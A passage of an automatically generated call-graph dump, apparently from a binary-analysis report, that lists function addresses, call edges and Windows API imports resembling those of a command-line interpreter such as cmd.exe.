20958 d178e4 448 API calls 20957->20958 20961 d2040d 20958->20961 20962 d1e470 917 API calls 20959->20962 20961->18644 20962->20961 20964 d1e470 918 API calls 20963->20964 20965 d1ab63 20964->20965 20966 d1ab76 20965->20966 20967 d1e470 918 API calls 20965->20967 20966->18644 20967->20966 20969 d1e3f0 17 API calls 20968->20969 20970 d19f61 20969->20970 20977 d20060 5 API calls 20970->20977 20978 d1a0d9 20970->20978 20985 d19fd7 20970->20985 20971 d1a0e7 ??_V@YAXPAX 20972 d1a0ef 20971->20972 20973 d26b30 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 4 API calls 20972->20973 20975 d1a0fe 20973->20975 20974 d19ff4 20974->20978 20980 d2c376 _get_osfhandle SetFilePointer 20974->20980 20982 d1a02b _get_osfhandle 20974->20982 20988 d2c439 20974->20988 20989 d1a16c _close 20974->20989 20991 d1dd98 6 API calls 20974->20991 20994 d1a1d6 _dup2 20974->20994 20995 d2c3d3 20974->20995 20997 d20590 19 API calls 20974->20997 20999 d2c40c 20974->20999 21001 d1a11c 20974->21001 21003 d2c4aa 20974->21003 22130 d1a1a8 _dup 20974->22130 22132 d39fcf _get_osfhandle GetFileType 20974->22132 20975->18619 20975->18631 20976 d1dcd0 448 API calls 20976->20974 20977->20970 20978->20971 20978->20972 20980->20974 20983 d2c392 20980->20983 20982->20974 20986 d1a03d _get_osfhandle 20982->20986 20984 d19abf _vsnwprintf 20983->20984 20987 d2c3a9 20984->20987 20985->20974 20985->20976 20986->20974 20992 d178e4 448 API calls 20987->20992 20990 d19abf _vsnwprintf 20988->20990 20989->20974 20990->20987 20991->20974 20993 d2c463 20992->20993 20996 d1a125 2 API calls 20993->20996 20994->20974 20998 d21d90 451 API calls 20995->20998 20996->20978 20997->20974 21002 d2c3dd 20998->21002 21000 d1a1d6 _dup2 20999->21000 21004 d2c42d 21000->21004 21006 d1a125 2 API calls 21001->21006 21002->21003 21009 d2c3f2 SearchPathW 21002->21009 21005 d1a125 2 API calls 21003->21005 21007 d2c434 21004->21007 21008 d2c475 21004->21008 21010 d2c4af 21005->21010 21012 d2c47f 21006->21012 21013 d1a16c _close 21007->21013 21011 d1a16c _close 21008->21011 21009->20999 21009->21003 21014 d39edb 448 API calls 21010->21014 21011->21001 21015 d19abf _vsnwprintf 21012->21015 21013->20988 21014->20978 21016 d2c496 21015->21016 21017 d178e4 448 API calls 21016->21017 21017->20978 21019 d1e470 918 API calls 21018->21019 21020 d203a2 21019->21020 21020->18644 21022 d1dcd0 448 API calls 21021->21022 21023 d20776 21022->21023 21024 d20792 21023->21024 21025 d2089d 21023->21025 21060 d2e9b9 21023->21060 21029 d1dd20 448 API calls 21024->21029 21026 d1dcd0 448 API calls 21025->21026 21027 d208a5 21026->21027 21028 d1dcd0 448 API calls 21027->21028 21036 d207de 21028->21036 21030 d207b3 21029->21030 21031 d207bb 21030->21031 21032 d2e8bd 21030->21032 21034 d1dd20 448 API calls 21031->21034 21033 d1dc60 2 API calls 21032->21033 21035 d207d6 21033->21035 21034->21035 21035->21036 21039 d1dc60 2 API calls 21035->21039 21037 d20812 21036->21037 21038 d208c5 21036->21038 21036->21060 21041 d20875 21037->21041 21042 d20818 21037->21042 21040 d1bc30 448 API calls 21038->21040 21039->21036 21043 d208d2 wcstol 21040->21043 21044 d2087f 21041->21044 21045 d2e8e7 21041->21045 22133 d20bf0 21042->22133 22248 d1a7d5 21043->22248 21048 d1bc30 448 API calls 21044->21048 21051 d20060 5 API calls 21045->21051 21050 d2088c 21048->21050 21049 d208ec wcstol 21052 d1a7d5 21049->21052 22197 d16e57 21050->22197 21054 d2e8fd GetFullPathNameW 21051->21054 21055 d20906 wcstol 21052->21055 21056 d2e915 21054->21056 21068 d20922 21055->21068 21058 d1dcd0 448 API calls 21056->21058 21061 d178e4 448 API calls 21056->21061 21063 d2e942 GetFullPathNameW 21056->21063 21066 d2e95d 21056->21066 21057 d20822 21057->21057 21059 d26b30 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 4 API calls 21057->21059 21057->21060 21058->21056 21062 d20871 21059->21062 21061->21056 21062->18644 21063->21056 21064 d398b5 453 API calls 21064->21068 21065 d19abf _vsnwprintf 21065->21068 21067 d1bc30 448 API calls 21066->21067 21069 d2e99d 21067->21069 21068->21045 21068->21064 21068->21065 21072 d2198f 3 API calls 21068->21072 22250 d20bbb 21068->22250 22259 d33e66 21069->22259 21072->21068 21074 d1e5d8 21073->21074 21076 d1eda4 21073->21076 21074->18635 21074->18645 21075 d1edb7 _wcsicmp 21075->21074 21075->21076 21076->21074 21076->21075 21078 d22090 21077->21078 21079 d1dcd0 448 API calls 21078->21079 21080 d220a9 21079->21080 21081 d1b1b0 448 API calls 21080->21081 21106 d1e613 21080->21106 21082 d220ba 21081->21082 21083 d1f410 464 API calls 21082->21083 21082->21106 21084 d220d2 21083->21084 21085 d220d9 GetConsoleTitleW 21084->21085 21086 d2212f 21084->21086 21087 d1ad26 450 API calls 21085->21087 21088 d22134 GetConsoleTitleW 21086->21088 21089 d2217a 21086->21089 21092 d220f2 21087->21092 21093 d1ad26 450 API calls 21088->21093 21090 d22183 21089->21090 21091 d2f23f 21089->21091 21097 d2219f 21090->21097 21098 d2f24d 21090->21098 21090->21106 21095 d18bc7 448 API calls 21091->21095 22313 d19458 21092->22313 21096 d2214d 21093->21096 21095->21106 21100 d21a47 916 API calls 21096->21100 21102 d178e4 448 API calls 21097->21102 21104 d178e4 448 API calls 21098->21104 21099 d22107 22372 d221b5 21099->22372 21101 d22164 21100->21101 22375 d221c1 21101->22375 21102->21106 21104->21106 21106->18644 21108 d25807 21107->21108 21112 d25833 21107->21112 21109 d25813 _setjmp3 21108->21109 21110 d25825 21109->21110 21109->21112 22476 d256c4 21110->22476 21112->18642 21114 d1e9b2 21113->21114 21126 d1ea65 21113->21126 21115 d1e3f0 17 API calls 21114->21115 21121 d1e9c3 21115->21121 21116 d1ea3d 21118 d1ebf0 GetFileAttributesW 21116->21118 21119 d1ec1e 21116->21119 21116->21126 21117 d1e9f6 wcschr 21117->21116 21117->21121 21122 d1ebfc 21118->21122 21119->21118 21120 d1ea0e wcschr 21120->21121 21121->21116 21121->21117 21121->21120 21124 d1eb41 21121->21124 21121->21126 21122->21126 21123 d1ea7e _wcsicmp 21123->21126 21125 d1eb7e iswspace 21124->21125 21128 d1eac3 21124->21128 21130 d1a62f wcschr 21124->21130 21133 d2dd3f 21124->21133 21125->21124 21125->21128 21126->21123 21127 d1ea99 21126->21127 21127->21128 21127->21133 21135 d1ed90 _wcsicmp 21127->21135 21129 d1eaf7 21128->21129 21128->21133 21131 d1eb05 ??_V@YAXPAX 21129->21131 21132 d1eb0f 21129->21132 21130->21124 21131->21132 21134 d26b30 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 4 API calls 21132->21134 21136 d1dcd0 448 API calls 21133->21136 21137 d1ae12 21134->21137 21135->21124 21138 d2dd80 21136->21138 21137->20878 21137->20879 21139 d39922 448 API calls 21138->21139 21141 d2dd9e 21138->21141 21140 d2dd91 longjmp 21139->21140 21140->21141 21143 d1b1c9 21142->21143 21144 d1dcd0 448 API calls 21143->21144 21145 d1af78 21144->21145 21145->20909 21149 d1ad26 21145->21149 21263 d15ea3 memset 21146->21263 21150 d1ad37 21149->21150 21158 d1ad40 21149->21158 21151 d1dcd0 448 API calls 21150->21151 21150->21158 21152 d2cb7b 21151->21152 21153 d2cb85 GetConsoleTitleW 21152->21153 21152->21158 21154 d2cb9b 21153->21154 21153->21158 21155 d1dd20 448 API calls 21154->21155 21160 d2cbcd 21155->21160 21156 d2cc33 21157 d1dc60 2 API calls 21156->21157 21157->21158 21158->20909 21159 d2cc2c SetConsoleTitleW 21159->21156 21160->21156 21160->21159 21160->21160 21329 d19cc0 21161->21329 21165 d1aa66 21164->21165 21166 d2c9eb 21164->21166 21536 d1aa75 21165->21536 21168 d1aa75 489 API calls 21166->21168 21169 d1aa6b 21168->21169 21169->20892 21169->21169 21171 d1b185 21170->21171 21172 d1afdd 21170->21172 21171->21172 21173 d2ccfa SetConsoleTitleW 21171->21173 21172->20901 21173->21172 21175 d1c709 21174->21175 21176 d1c7ae 21174->21176 21175->21176 21716 d1b3c1 21175->21716 21177 d21cb1 450 API calls 21176->21177 21179 d398b5 453 API calls 21176->21179 21182 d178e4 448 API calls 21176->21182 21186 d34191 448 API calls 21176->21186 21190 d1c8b3 _get_osfhandle SetFilePointer 21176->21190 21192 d1c799 21176->21192 21193 d1c8da _get_osfhandle GetFileType 21176->21193 21194 d1caa2 21176->21194 21197 d2d162 memcmp 21176->21197 21205 d26c78 4 API calls 21176->21205 21207 d1c808 MultiByteToWideChar 21176->21207 21209 d1c7b8 SetFilePointer 21176->21209 21210 d2d1ce AcquireSRWLockShared ReadFile ReleaseSRWLockShared 21176->21210 21211 d1c86f wcschr 21176->21211 21212 d1ca03 iswspace 21176->21212 21213 d1ca1e wcschr 21176->21213 21214 d1caeb wcschr 21176->21214 21215 d1ca49 wcschr 21176->21215 21216 d2d2b3 _get_osfhandle SetFilePointer 21176->21216 21217 d1cb10 iswspace 21176->21217 21218 d1cb25 wcschr 21176->21218 21219 d2d322 _get_osfhandle SetFilePointer 21176->21219 21220 d2d302 WideCharToMultiByte 21176->21220 21221 d1cb50 iswspace 21176->21221 21222 d1cb80 wcschr 21176->21222 21223 d1cb65 wcschr 21176->21223 21225 d1cbc9 _wcsicmp 21176->21225 21226 d2d3d3 WideCharToMultiByte 21176->21226 21177->21176 21179->21176 21181 d1e272 453 API calls 21182->21176 21186->21176 21190->21176 21190->21193 21196 d1a16c _close 21192->21196 21193->21176 21195 d1c901 SetFilePointer AcquireSRWLockShared ReadFile ReleaseSRWLockShared 21193->21195 21199 d2d3fc 21194->21199 21202 d1cabd _get_osfhandle SetFilePointer 21194->21202 21195->21176 21198 d1ca81 21196->21198 21197->21176 21200 d26b30 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 4 API calls 21198->21200 21201 d21cb1 450 API calls 21199->21201 21203 d1ca90 21200->21203 21204 d2d409 21201->21204 21202->20926 21203->20926 21206 d178e4 448 API calls 21204->21206 21205->21176 21208 d2d427 21206->21208 21207->21176 21209->21176 21210->21176 21211->21176 21212->21176 21212->21213 21213->21176 21214->21176 21214->21216 21215->21176 21216->21176 21216->21217 21217->21176 21217->21218 21218->21176 21219->21176 21220->21219 21221->21176 21221->21223 21224 d1cb96 wcschr 21222->21224 21222->21225 21223->21176 21224->21176 21224->21225 21225->21176 21226->21176 21725 d19e09 21227->21725 21230 d19de1 21232 d19df7 21230->21232 21234 d19950 448 API calls 21230->21234 21231 d2c2b9 21233 d163bd 448 API calls 21231->21233 21232->20892 21235 d2c2d1 21233->21235 21234->21232 21235->21232 21739 d39fcf _get_osfhandle GetFileType 21235->21739 21237 d2c2e5 21238 d1dd98 6 API calls 21237->21238 21240 d2c2e9 21237->21240 21238->21240 21239 d178e4 448 API calls 21241 d2c316 21239->21241 21240->21232 21240->21239 21241->21241 21243 d1e3f0 17 API calls 21242->21243 21244 d17fa0 21243->21244 21245 d18001 21244->21245 21246 d17fa4 GetDriveTypeW 21244->21246 21247 d1800b ??_V@YAXPAX 21245->21247 21249 d18013 21245->21249 21248 d17fcf 21246->21248 21255 d2b033 21246->21255 21247->21249 21248->21245 21252 d17fe0 GetVolumeInformationW 21248->21252 21250 d26b30 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 4 API calls 21249->21250 21253 d18022 21250->21253 21251 d2b05a ??_V@YAXPAX 21251->21249 21252->21245 21254 d2b040 GetLastError 21252->21254 21253->20865 21253->20886 21254->21245 21254->21255 21255->21249 21255->21251 21258 d22200 21256->21258 21257 d22229 21257->20882 21258->21257 21258->21258 21259 d22081 918 API calls 21258->21259 21259->21257 21740 d226dc memset 21260->21740 21264 d1e3f0 17 API calls 21263->21264 21265 d15f21 21264->21265 21266 d29d02 21265->21266 21267 d29d0f 21265->21267 21269 d18e9e 448 API calls 21265->21269 21268 d178e4 448 API calls 21266->21268 21267->21266 21271 d29d1f 21267->21271 21270 d15f45 21269->21270 21330 d19cd3 21329->21330 21357 d19780 21329->21357 21331 d1dcd0 448 API calls 21330->21331 21332 d19cdd 21331->21332 21333 d1a62f wcschr 21332->21333 21332->21357 21334 d19cf4 21333->21334 21357->20892 21537 d2ca49 21536->21537 21540 d1aa90 21536->21540 21538 d1bc30 448 API calls 21537->21538 21541 d2ca70 21537->21541 21630 d35166 21537->21630 21538->21537 21540->21537 21542 d1aacb _wcsnicmp 21540->21542 21559 d20060 5 API calls 21541->21559 21560 d2cad1 21541->21560 21543 d1ab3d 21542->21543 21544 d1aadf _wcsnicmp 21542->21544 21561 d23326 21543->21561 21546 d2c9fd 21544->21546 21554 d1aaf7 21544->21554 21593 d353aa 21546->21593 21548 d178e4 448 API calls 21551 d2cb08 21548->21551 21549 d1ab0f 21552 d1ab1b wcschr 21549->21552 21549->21560 21555 d1ab47 21552->21555 21556 d1ab29 21552->21556 21553 d2ca2d wcsrchr 21553->21549 21554->21549 21554->21553 21554->21560 21559->21560 21560->21548 21560->21560 21562 d2333b 21561->21562 21571 d233ab 21561->21571 21565 d20060 5 API calls 21562->21565 21562->21571 21563 d178e4 448 API calls 21571->21563 21594 d1acb0 448 API calls 21593->21594 21595 d353d5 21594->21595 21631 d3516f 21630->21631 21635 d35190 21630->21635 21715 d2727b __iob_func 21631->21715 21633 d35180 fprintf 21633->21537 21634 d351dd 21634->21537 21635->21634 21636 d19950 448 API calls 21635->21636 21636->21635 21715->21633 21717 d1ab7f 2 API calls 21716->21717 21718 d1b3d3 21717->21718 21719 d1ab7f 2 API calls 21718->21719 21723 d1b3eb 21718->21723 21719->21723 21720 d1b3f6 wcschr 21721 d1b408 wcschr 21720->21721 21722 d1b440 21720->21722 21721->21722 21721->21723 21722->21181 21723->21720 21723->21721 21723->21722 21724 d1a62f wcschr 21723->21724 21724->21723 21726 d19e14 21725->21726 21737 d19dd5 21725->21737 21727 d19e8e iswspace 21726->21727 21728 d19e19 21727->21728 21729 d19e27 iswspace 21728->21729 21730 d19e40 21728->21730 21728->21737 21729->21728 21729->21730 21731 d19e8e iswspace 21730->21731 21732 d19e47 21731->21732 21733 d19e62 21732->21733 21734 d2c31b _wcsnicmp 21732->21734 21732->21737 21735 d19e71 _wcsnicmp 21733->21735 21736 d19e67 21733->21736 21734->21736 21734->21737 21735->21736 21735->21737 21736->21737 21738 d178e4 448 API calls 21736->21738 21737->21230 21737->21231 21738->21737 21739->21237 21741 d1e3f0 17 API calls 21740->21741 21742 d227be 21741->21742 21743 d228f8 21742->21743 21744 d227c8 memset GetEnvironmentVariableW 21742->21744 21745 d22912 21743->21745 21746 d2290a ??_V@YAXPAX 21743->21746 21747 d1e3f0 17 API calls 21744->21747 21748 d26b30 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 4 API calls 21745->21748 21746->21745 21749 d22830 21747->21749 21750 d22925 21748->21750 21751 d228e2 21749->21751 21753 d2284a GetEnvironmentVariableW 21749->21753 21750->20892 21751->21743 21752 d2f431 ??_V@YAXPAX 21751->21752 21752->21743 21754 d2f3b2 21753->21754 21755 d22865 21753->21755 21757 d19144 448 API calls 21754->21757 21771 d19144 21755->21771 21758 d2f3cd 21757->21758 21758->21755 21760 d178e4 448 API calls 21758->21760 21759 d22872 21759->21751 21760->21755 21772 d1bc30 446 API calls 21771->21772 21774 d19172 21772->21774 21773 d2b904 21773->21759 21773->21773 21774->21773 21775 d1926f 21774->21775 21776 d191a6 towupper 21774->21776 21778 d2bb35 21774->21778 21781 d2bad3 21774->21781 21782 d20060 5 API calls 21774->21782 21784 d2054b 446 API calls 21774->21784 21786 d2ba93 21774->21786 21788 d2669f 446 API calls 21774->21788 21791 d192c2 21774->21791 21794 d3a37a 446 API calls 21774->21794 21777 d26b30 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 4 API calls 21775->21777 21776->21774 21780 d1927e 21777->21780 21779 d1dcd0 446 API calls 21778->21779 21783 d2bb3d 21779->21783 21780->21759 21787 d163bd 446 API calls 21781->21787 21782->21774 21784->21774 21792 d3a53d 446 API calls 21786->21792 21787->21775 21788->21774 21796 d178e4 446 API calls 21791->21796 21792->21781 21794->21774 21797 d2ba8b 21796->21797 21797->21759 22108 d1e7a2 22107->22108 22109 d1e7c6 22107->22109 22110 d1e7ab wcschr 22108->22110 22119 d1e697 22108->22119 22113 d1dc60 2 API calls 22109->22113 22109->22119 22111 d1e7f4 22110->22111 22110->22119 22112 d1dcd0 448 API calls 22111->22112 22120 d1e7fe 22112->22120 22113->22119 22114 d1e83f 22116 d1dc60 2 API calls 22114->22116 22114->22119 22115 d1bf70 456 API calls 22115->22120 22116->22119 22117 d1dd20 448 API calls 22117->22114 22118 d1e8f7 22118->22114 22118->22117 22118->22119 22119->20937 22119->20942 22120->22114 22120->22115 22120->22118 22120->22119 22122 d21606 lstrcmpW 22121->22122 22123 d21615 lstrcmpiW 22121->22123 22124 d2160c 22122->22124 22123->22124 22124->20959 22126 d22998 22125->22126 22127 d22a09 lstrcmpiW 22126->22127 22128 d229ff lstrcmpW 22126->22128 22129 d229a0 22126->22129 22127->22129 22128->22129 22129->20959 22131 d1a1bd 22130->22131 22131->20974 22132->20974 22134 d2054b 448 API calls 22133->22134 22196 d20c22 22134->22196 22135 d1bc30 448 API calls 22182 d20e27 22135->22182 22136 d20d4a 22137 d1dd20 448 API calls 22136->22137 22156 d20d9e 22136->22156 22139 d20d6a 22137->22139 22138 d21436 CreateFileW 22141 d2ed11 22138->22141 22142 d21457 SetFilePointer SetFilePointer 22138->22142 22143 d1dd20 448 API calls 22139->22143 22140 d20c93 _wcsnicmp 22144 d20cac _wcsnicmp 22140->22144 22140->22182 22145 d178e4 448 API calls 22141->22145 22146 d1dcd0 448 API calls 22142->22146 22147 d20d81 22143->22147 22148 d20cc7 _wcsnicmp 22144->22148 22149 d2ebf5 22144->22149 22150 d2ed1e GetLastError 22145->22150 22146->22182 22151 d2ec27 22147->22151 22147->22156 22152 d20ce2 _wcsnicmp 22148->22152 22148->22182 22159 d178e4 448 API calls 22149->22159 22166 d210ae 22150->22166 22155 d178e4 448 API calls 22151->22155 22158 d21131 _wcsnicmp 22152->22158 22152->22196 22153 d2ed00 CloseHandle 22153->22166 22154 d2148a ReadFile CloseHandle 22154->22182 22160 d2ec33 22155->22160 22156->22135 22156->22182 22157 d1dd20 448 API calls 22157->22182 22163 d21563 wcstol 22158->22163 22164 d2114c _wcsnicmp 22158->22164 22159->22166 22167 d39922 448 API calls 22160->22167 22161 d2198f 3 API calls 22161->22182 22162 d1dc60 GetProcessHeap RtlFreeHeap 22162->22182 22163->22149 22163->22182 22164->22149 22164->22196 22165 d212d3 _wpopen 22170 d2ece5 22165->22170 22171 d212ff feof 22165->22171 22166->21057 22177 d2ec3b longjmp 22167->22177 22168 d1dc60 2 API calls 22168->22196 22169 d21546 22181 d1dc60 2 API calls 22169->22181 22174 d178e4 448 API calls 22170->22174 22172 d21313 ferror 22171->22172 22173 d2136e _pclose 22171->22173 22172->22173 22172->22182 22179 d1dd20 448 API calls 22173->22179 22178 d2ecf2 GetLastError 22174->22178 22175 d2ecb3 _pclose 22175->22166 22176 d2134d fgets 22176->22173 22176->22182 22177->22166 22178->22166 22179->22182 22180 d2054b 448 API calls 22180->22196 22181->22175 22182->22138 22182->22153 22182->22154 22182->22157 22182->22161 22182->22162 22182->22163 22182->22165 22182->22166 22182->22169 22182->22173 22182->22175 22182->22176 22182->22182 22183 d213db MultiByteToWideChar 22182->22183 22184 d398b5 453 API calls 22182->22184 22185 d214e7 feof 22182->22185 22186 d2129a wcstol 22182->22186 22188 d1dcd0 448 API calls 22182->22188 22189 d2ecc9 22182->22189 22190 d20fc8 wcschr 22182->22190 22191 d20f0a wcschr 22182->22191 22192 d20bbb 485 API calls 22182->22192 22194 d213b7 memmove 22182->22194 22195 d20f90 wcschr 22182->22195 22183->22182 22184->22182 22185->22172 22185->22182 22186->22149 22186->22182 22187 d2118f wcstol 22187->22149 22187->22196 22188->22182 22193 d178e4 448 API calls 22189->22193 22190->22182 22191->22182 22192->22182 22193->22166 22194->22182 22195->22182 22196->22136 22196->22140 22196->22156 22196->22168 22196->22180 22196->22182 22196->22186 22196->22187 22196->22196 22198 d16f39 22197->22198 22209 d16ea7 22197->22209 22199 d26b30 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 4 API calls 22198->22199 22200 d16f4e 22199->22200 22200->21057 22201 d2a746 22202 d398b5 453 API calls 22201->22202 22222 d1701a 22202->22222 22203 d1a62f wcschr 22203->22209 22204 d16f5d 22205 d20060 5 API calls 22204->22205 22206 d16f64 22205->22206 22208 d1acb0 448 API calls 22206->22208 22207 d1dcd0 448 API calls 22207->22222 22210 d16f6b 22208->22210 22209->22198 22209->22201 22209->22203 22209->22204 22211 d20bbb 485 API calls 22209->22211 22214 d2198f 3 API calls 22209->22214 22212 d2589a 10 API calls 22210->22212 22211->22209 22213 d16fa6 22212->22213 22217 d18f21 448 API calls 22213->22217 22213->22222 22214->22209 22215 d398b5 453 API calls 22215->22222 22216 d25851 2 API calls 22216->22222 22219 d16fbf 22217->22219 22218 d1dc60 2 API calls 22218->22222 22219->22222 22224 d2a806 22219->22224 22232 d1dcd0 448 API calls 22219->22232 22220 d2a7fa 22225 d1dc60 2 API calls 22220->22225 22221 d2198f 3 API calls 22221->22222 22222->22207 22222->22215 22222->22216 22222->22218 22222->22220 22222->22221 22223 d18b4d 2 API calls 22222->22223 22222->22224 22227 d1725d 22222->22227 22237 d1dd20 448 API calls 22222->22237 22241 d20bbb 485 API calls 22222->22241 22223->22222 22226 d39922 448 API calls 22224->22226 22225->22224 22228 d2a80b longjmp 22226->22228 22229 d17271 22227->22229 22230 d2a851 22227->22230 22231 d2a819 22228->22231 22233 d18bc7 448 API calls 22229->22233 22235 d39a7d 448 API calls 22230->22235 22282 d221d2 22231->22282 22232->22222 22236 d1727b GetProcessHeap RtlFreeHeap 22233->22236 22239 d2a85c 22235->22239 22240 d172ee 8 API calls 22236->22240 22237->22222 22238 d2a824 22243 d21e70 448 API calls 22238->22243 22245 d2a835 exit 22238->22245 22242 d17294 22240->22242 22241->22222 22281 d172c6 GetProcessHeap RtlFreeHeap GetProcessHeap RtlFreeHeap 22242->22281 22243->22238 22245->22227 22246 d1729c GetProcessHeap RtlFreeHeap 22247 d172bc 22246->22247 22247->21057 22249 d1a7db 22248->22249 22249->21049 22249->22249 22286 d1b45a 22250->22286 22252 d20bd6 22252->21068 22254 d3769e 459 API calls 22255 d2ebcc 22254->22255 22256 d33b4e 448 API calls 22255->22256 22257 d2ebd5 22256->22257 22258 d19950 448 API calls 22257->22258 22258->22252 22260 d33ea6 22259->22260 22260->22260 22263 d1dcd0 448 API calls 22260->22263 22264 d3416f 22260->22264 22261 d26b30 __ehhandler$?_Init@?$_Mpunct@D@std@@IAEXABV_Locinfo@2@_N@Z 4 API calls 22262 d3418b 22261->22262 22262->21057 22268 d33ef9 22263->22268 22264->22261 22265 d16e57 499 API calls 22266 d33f70 22265->22266 22267 d1dc60 2 API calls 22266->22267 22269 d33f7b 22267->22269 22268->22264 22268->22265 22270 d1dcd0 448 API calls 22269->22270 22271 d33fa4 22270->22271 22271->22264 22272 d33fe2 FindFirstFileW 22271->22272 22273 d34164 22272->22273 22279 d34006 22272->22279 22274 d1dc60 2 API calls 22273->22274 22274->22264 22275 d3413c FindNextFileW 22276 d34153 FindClose 22275->22276 22275->22279 22276->22273 22278 d1dd20 448 API calls 22278->22279 22279->22275 22279->22276 22279->22278 22280 d33e66 499 API calls 22279->22280 22280->22279 22281->22246 22283 d221df 22282->22283 22284 d221d6 22282->22284 22283->22238 22284->22283 22285 d2f25c SetConsoleTitleW 22284->22285 22285->22238 22295 d1b46c 22286->22295 22288 d1b45a 474 API calls 22291 d1b4d2 22288->22291 22289 d1b53c 22292 d1b4c8 22289->22292 22294 d1b484 22289->22294 22297 d1b4bf 22289->22297 22291->22297 22298 d1b45a 474 API calls 22291->22298 22292->22288 22292->22297 22293 d1b5b0 474 API calls 22293->22295 22294->22297 22304 d1b5b0 22294->22304 22295->22289 22295->22292 22295->22293 22295->22294 22295->22297 22299 d1b45a 474 API calls 22295->22299 22296 d1b5b0 474 API calls 22301 d1b4a5 22296->22301 22297->22252 22297->22254 22300 d1b4e4 22298->22300 22299->22295 22300->22297 22303 d1b5b0 474 API calls 22300->22303 22301->22297 22302 d1b5b0 474 API calls 22301->22302 22302->22301 22303->22300 22305 d1b5c8 22304->22305 22306 d1b490 22304->22306 22305->22306 22307 d1dcd0 448 API calls 22305->22307 22306->22296 22306->22297 22312 d1b5eb 22307->22312 22308 d1b631 22308->22306 22309 d1dd20 448 API calls 22308->22309 22309->22306 22310 d1ee03 474 API calls 22310->22312 22311 d201f5 wcsrchr 22311->22312 22312->22306 22312->22308 22312->22310 22312->22311 22378 d27d90 22313->22378 22315 d19467 InitializeProcThreadAttributeList 22316 d2bdf1 GetLastError 22315->22316 22317 d194b8 UpdateProcThreadAttribute 22315->22317 22390 d35c54 22316->22390 22319 d194e7 memset memset GetStartupInfoW 22317->22319 22320 d2be0d GetLastError 22317->22320 22322 d21d90 451 API calls 22319->22322 22323 d35c54 448 API calls 22320->22323 22321 d2be03 22321->22320 22324 d19579 22322->22324 22325 d2be1f DeleteProcThreadAttributeList 22323->22325 22327 d1acb0 448 API calls 22324->22327 22326 d2be5c 22325->22326 22326->21099 22329 d19589 22327->22329 22328 d2be49 _local_unwind4 22328->22326 22329->22328 22330 d201f5 wcsrchr 22329->22330 22331 d195c6 22329->22331 22332 d195ae 22330->22332 22379 d18235 _get_osfhandle SetConsoleMode _get_osfhandle SetConsoleMode 22331->22379 22332->22331 22333 d195b2 lstrcmpW 22332->22333 22333->22331 22335 d2be83 22333->22335 22395 d350d8 22335->22395 22336 d195cb 22338 d195d8 22336->22338 22341 d19711 CreateProcessAsUserW 22336->22341 22339 d195e5 CreateProcessW 22338->22339 22340 d2bec4 22338->22340 22342 d19608 22339->22342 22345 d2bece GetLastError 22340->22345 22341->22342 22344 d19612 CloseHandle 22342->22344 22342->22345 22346 d1a976 8 API calls 22344->22346 22348 d1963a 22345->22348 22346->22348 22373 d221d2 SetConsoleTitleW 22372->22373 22374 d221c0 22373->22374 22374->21106 22376 d221d2 SetConsoleTitleW 22375->22376 22377 d221cc 22376->22377 22377->21106 22378->22315 22379->22336 22394 d35c6a 22390->22394 22391 d35d93 22391->22321 22392 d178e4 448 API calls 22393 d35dfe 22392->22393 22393->22321 22394->22391 22394->22392 22396 d21d90 451 API calls 22395->22396 22477 d256e2 22476->22477 22478 d313ca 22476->22478 22480 d256ef 22477->22480 22484 d31303 22477->22484 22485 d31256 22477->22485 22479 d3155c 22478->22479 22481 d3126a longjmp 22478->22481 22487 d313e2 22478->22487 22488 d314e7 22478->22488 22483 d25726 449 API calls 22479->22483 22537 d25726 22480->22537 22486 d31277 22481->22486 22525 d312fb 22483->22525 22493 d25726 449 API calls 22484->22493 22485->22480 22485->22486 22497 d31264 22485->22497 22490 d25726 449 API calls 22486->22490 22491 d31433 22487->22491 22492 d313e7 22487->22492 22499 d25726 449 API calls 22488->22499 22489 d256fe 22494 d25711 22489->22494 22500 d25726 449 API calls 22489->22500 22498 d31288 22490->22498 22496 d257c9 449 API calls 22491->22496 22492->22481 22505 d313fc 22492->22505 22517 d31316 22493->22517 22549 d257c9 22494->22549 22495 d256c4 449 API calls 22502 d31583 22495->22502 22522 d3143b 22496->22522 22497->22481 22497->22491 22509 d312c7 22498->22509 22514 d25726 449 API calls 22498->22514 22499->22479 22500->22494 22502->21112 22503 d3136e 22504 d25726 449 API calls 22503->22504 22508 d31380 22504->22508 22506 d25726 449 API calls 22505->22506 22511 d2571d 22506->22511 22507 d31471 22510 d256c4 449 API calls 22507->22510 22513 d25726 449 API calls 22508->22513 22515 d256c4 449 API calls 22509->22515 22516 d314c2 22510->22516 22511->21112 22512 d25726 449 API calls 22512->22503 22518 d31390 22513->22518 22514->22509 22519 d312d6 22515->22519 22520 d25726 449 API calls 22516->22520 22517->22503 22521 d25726 449 API calls 22517->22521 22526 d31326 22517->22526 22523 d25726 449 API calls 22518->22523 22524 d256c4 449 API calls 22519->22524 22520->22525 22521->22526 22522->22507 22527 d3147a 22522->22527 22528 d3145c 22522->22528 22529 d3139f 22523->22529 22530 d312e3 22524->22530 22525->22495 22525->22511 22526->22503 22526->22512 22531 d25726 449 API calls 22527->22531 22528->22507 22533 d25726 449 API calls 22528->22533 22532 d25726 449 API calls 22529->22532 22530->22511 22535 d25726 449 API calls 22530->22535 22531->22507 22534 d313b0 22532->22534 22533->22507 22536 d25726 449 API calls 22534->22536 22535->22525 22536->22525 22538 d2573f 22537->22538 22538->22538 22539 d178e4 448 API calls 22538->22539 22544 d25781 22538->22544 22540 d3159e longjmp 22539->22540 22541 d315ae 22540->22541 22542 d25726 448 API calls 22541->22542 22543 d315c9 22542->22543 22545 d25726 448 API calls 22543->22545 22544->22489 22546 d315f4 22545->22546 22547 d25726 448 API calls 22546->22547 22548 d31603 22547->22548 22548->22489 22550 d257e4 22549->22550 22551 d315ae 22549->22551 22550->22511 22552 d25726 449 API calls 22551->22552 22553 d315c9 22552->22553 22554 d25726 449 API calls 22553->22554 22555 d315f4 22554->22555 22556 d25726 449 API calls 22555->22556 22557 d31603 22556->22557 22557->22511 22559 d21eb2 